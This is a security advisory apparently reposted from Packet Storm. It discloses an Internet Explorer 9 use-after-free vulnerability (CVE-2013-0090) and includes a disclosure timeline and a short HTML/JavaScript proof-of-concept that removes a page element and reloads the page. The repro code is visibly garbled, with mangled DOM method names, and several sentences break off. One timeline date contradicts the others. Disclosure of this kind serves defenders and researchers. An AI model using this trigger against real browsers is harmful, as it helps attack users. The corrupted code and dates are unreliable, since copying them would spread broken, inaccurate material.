Microsoft Internet Explorer 9 IEFRAME CView::EnsureSize Use-After-Free

Type packetstorm
Reporter SkyLined
Modified 2016-12-16T00:00:00


                                            `Since November I have been releasing details on all vulnerabilities I  
found that I have not released before. This is the 34th entry in the  
series. This information is available in more detail on my blog at There you can find a repro  
that triggered this issue in addition to the information below.  
If you find these releases useful, and would like to help me make time  
to continue releasing this kind of information, you can make a donation  
in bitcoin to 183yyxa9s1s1f7JBpAPHPmzAQ346y91Rx5DX.  
Follow me on for daily browser bugs.  
MSIE 9 IEFRAME CView::EnsureSize use-after-free  
(MS13-021, CVE-2013-0090)  
A specially crafted web-page can trigger a use-after-free vulnerability  
in Microsoft Internet Explorer 9. I did not investigate this  
vulnerability thoroughly, so I cannot speculate on the potential impact  
or exploitability.  
Known affected software and attack vectors  
* Microsoft Internet Explorer 9  
An attacker would need to get a target user to open a specially  
crafted web-page. Disabling JavaScript should prevent an attacker  
from triggering the vulnerable code path.  
This bug was found back when I had very little knowledge and tools to do  
analysis on use-after-free bugs, so I have no details to share. ZDI  
revealed that this was a use-after-free vulnerability in their advisory  
* Sometime in October 2012: This vulnerability was found through  
* 29 October 2012: This vulnerability was submitted to EIP.  
* 27 November 2013: This vulnerability was rejected by EIP.  
* 14 January 2013: This vulnerability was submitted to ZDI.  
* 6 February 2013: This vulnerability was acquired by ZDI.  
* 13 February 2013: This vulnerability was disclosed to Microsoft by  
* 29 May 2013: This vulnerability was address by Microsoft in MS13-021.  
* 14 December 2016: Details of this vulnerability are released.  
<!DOCTYPE html>  
<script defer>  
var oAElement = document.getAElementAByAId("ruby");  
var oAElement = oAElement.parentANode.removeAChild(oAElement);  
setATimeout("location.reload()", 100);  
<abbr dir="ltr">  
<ruby id="ruby" dir="rtl">